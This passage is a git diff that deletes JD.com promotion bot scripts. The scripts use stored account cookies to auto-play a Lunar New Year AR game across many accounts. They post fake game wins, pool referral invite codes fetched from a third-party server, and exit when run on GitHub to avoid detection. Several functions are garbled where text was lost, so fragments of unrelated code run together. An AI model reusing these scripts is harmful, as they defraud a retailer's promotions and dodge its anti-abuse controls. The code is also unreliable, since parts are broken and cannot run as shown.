`functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=88732f840b77821b345bf07fd71f609e6ff12f43`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function randomWord(randomFlag, min, max){ - let str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']; - // 随机产生 - if(randomFlag){ - range = Math.round(Math.random() * (max-min)) + min; - } - for(let i=0; i>> 5] >>> 24 - e % 32 & 255); - return n -} - -function bytesToHex(t) { - for (var n = [], e = 0; e < t.length; e++) - n.push((t[e] >>> 4).toString(16)), - n.push((15 & t[e]).toString(16)); - return n.join("") -} - -function stringToBytes(t) { - t = unescape(encodeURIComponent(t)) - for (var n = [], e = 0; e < t.length; e++) - n.push(255 & t.charCodeAt(e)); - return n -} - -function bytesToWords(t) { - for (var n = [], e = 0, r = 0; e < t.length; e++, - r += 8) - n[r >>> 5] |= t[e] << 24 - r % 32; - return n -} -function getSign (t) { - t = stringToBytes(t) - var e = bytesToWords(t) - , i = 8 * t.length - , a = [] - , s = 1732584193 - , u = -271733879 - , c = -1732584194 - , f = 271733878 - , h = -1009589776; - e[i >> 5] |= 128 << 24 - i % 32, - e[15 + (i + 64 >>> 9 << 4)] = i; - for (var l = 0; l < e.length; l += 16) { - for (var p = s, g = u, v = c, d = f, y = h, m = 0; m < 80; m++) { - if (m < 16) - a[m] = e[l + m]; - else { - var w = a[m - 3] ^ a[m - 8] ^ a[m - 14] ^ a[m - 16]; - a[m] = w << 1 | w >>> 31 - } - var _ = (s << 5 | s >>> 27) + h + (a[m] >>> 0) + (m < 20 ? 1518500249 + (u & c | ~u & f) : m < 40 ? 1859775393 + (u ^ c ^ f) : m < 60 ? (u & c | u & f | c & f) - 1894007588 : (u ^ c ^ f) - 899497514); - h = f, - f = c, - c = u << 30 | u >>> 2, - u = s, - s = _ - } - s += p, - u += g, - c += v, - f += d, - h += y - } - return [s, u, c, f, h] -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_ar.js b/activity/jd_nian_ar.js deleted file mode 100644 index 1af4761..0000000 --- a/activity/jd_nian_ar.js +++ /dev/null @@ -1,520 +0,0 @@ -/* -京东炸年兽AR -活动时间:2021-1-18至2021-2-11 -地址:https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html -活动入口:京东app首页浮动窗口 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东炸年兽AR -0 9 * * * jd_nian_ar.js, tag=京东炸年兽AR, enabled=true - -================Loon============== -[Script] -cron "0 9 * * *" script-path=jd_nian_ar.js,tag=京东炸年兽AR - -===============Surge================= -京东炸年兽AR = type=cron,cronexp="0 9 * * *",wake-system=1,timeout=36000,script-path=jd_nian_ar.js - -============小火箭========= -京东炸年兽AR = type=cron,script-path=jd_nian_ar.js, cronexpr="0 9 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东炸年兽AR'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = [ - `cgxZaDXWZPCmiUa2akPVmFMI27K6antJzucULQPYNim_BPEW1Dwd@cgxZdTXtIrPYuAqfDgSpusxr97nagU6hwFa3TXxnqM95u3ib-xt4nWqZdz8@cgxZdTXtIO-O6QmYDVf67KCEJ19JcybuMB2_hYu8NSNQg0oS2Z_FpMce45g@cgxZdTXtILiLvg7OAASp61meehou4OeZvqbjghsZlc3rI5SBk7b3InUqSQ0@cgxZ9_MZ8gByP7FZ368dN8oTZBwGieaH5HvtnvXuK1Epn_KK8yol8OYGw7h3M2j_PxSZvYA`, - `cgxZaDXWZPCmiUa2akPVmFMI27K6antJzucULQPYNim_BPEW1Dwd@cgxZdTXtIrPYuAqfDgSpusxr97nagU6hwFa3TXxnqM95u3ib-xt4nWqZdz8@cgxZdTXtIO-O6QmYDVf67KCEJ19JcybuMB2_hYu8NSNQg0oS2Z_FpMce45g@cgxZdTXtILiLvg7OAASp61meehou4OeZvqbjghsZlc3rI5SBk7b3InUqSQ0@cgxZdTXtIumO4w2cDgSqvYcqHwjaAzLxu0S371Dh_fctFJtN0tXYzdR7JaY` -]; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await jdNian() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdNian() { - await getHomeData() - if(!$.secretp) return - await getArInfo() - await getHomeData(true) - await showMsg() -} -function encode(data, aa, extraData) { - const temp = { - "extraData": JSON.stringify(extraData), - "businessData": JSON.stringify(data), - "secretp": aa, - } - return { "ss": (JSON.stringify(temp)) }; -} -function getRnd() { - return Math.floor(1e6 * Math.random()).toString(); -} -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - if (new Date().getHours() === 23) { - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function getHomeData(info=false) { - return new Promise((resolve) => { - $.post(taskPostUrl('nian_getHomeData'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - $.userInfo = data.data.result.homeMainInfo - $.secretp = $.userInfo.secretp; - if(!$.secretp){ - console.log(`账号被风控`) - message += `账号被风控,无法参与活动\n` - $.secretp = null - return - } - console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨`) - - if(info) { - message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` - } - } - else{ - $.secretp = null - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function pkInfo() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function pkCollectScore() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_collectScore", {}, "nian_pk_collectScore"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function pkTaskDetail() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function pkAssignGroup(inviteId) { - let temp = { - "confirmFlag": 1, - "inviteId": inviteId, - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - inviteId:inviteId - } - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getArInfo() { - return new Promise(resolve => { - $.get(taskArGetUrl("arNianGetUser.do"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 200) { - const { level,gameNum,maxGameNum} = data.rv - $.level = level - $.maxLevel = 27 - console.log(`当前第${$.level}/${$.maxLevel}关`) - for(let i = gameNum;i { - $.post(taskArPostUrl("arNianStartGame.do", `level=${level}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - console.log(`游戏开启成功,等待20秒完成`) - await $.wait(28*1000) - await arEnd(level,data.rv.random) - } - else{ - console.log(`游戏开启失败,错误:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function arEnd(level,random) { - return new Promise(resolve => { - $.post(taskArPostUrl("arNianEndGame.do", `random=${random}&type=1&level=${level}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - const { level, maxLevel} = data.rv - $.level = level - $.maxLevel = maxLevel - console.log(`游戏完成成功,获得${data.rv.winAward + data.rv.firstWin}🧨,通关情况:${level}/${maxLevel}`) - } - else{ - console.log(`游戏开启失败,错误:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(2000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDNIAN_SHARECODES) { - if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDNIAN_SHARECODES.split('&'); - } - } - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} -function taskArGetUrl(function_id) { - let url = `https://arvractivity.jd.com/nian/${function_id}`; - return { - url, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2ZUbtdUfe8ZTyCQrVecyjdNehHpL/index.html' - } - } -} -function taskArPostUrl(function_id, body = '') { - let url = `https://arvractivity.jd.com/nian/${function_id}`; - return { - url, - body: body, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2ZUbtdUfe8ZTyCQrVecyjdNehHpL/index.html' - } - } -} -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new 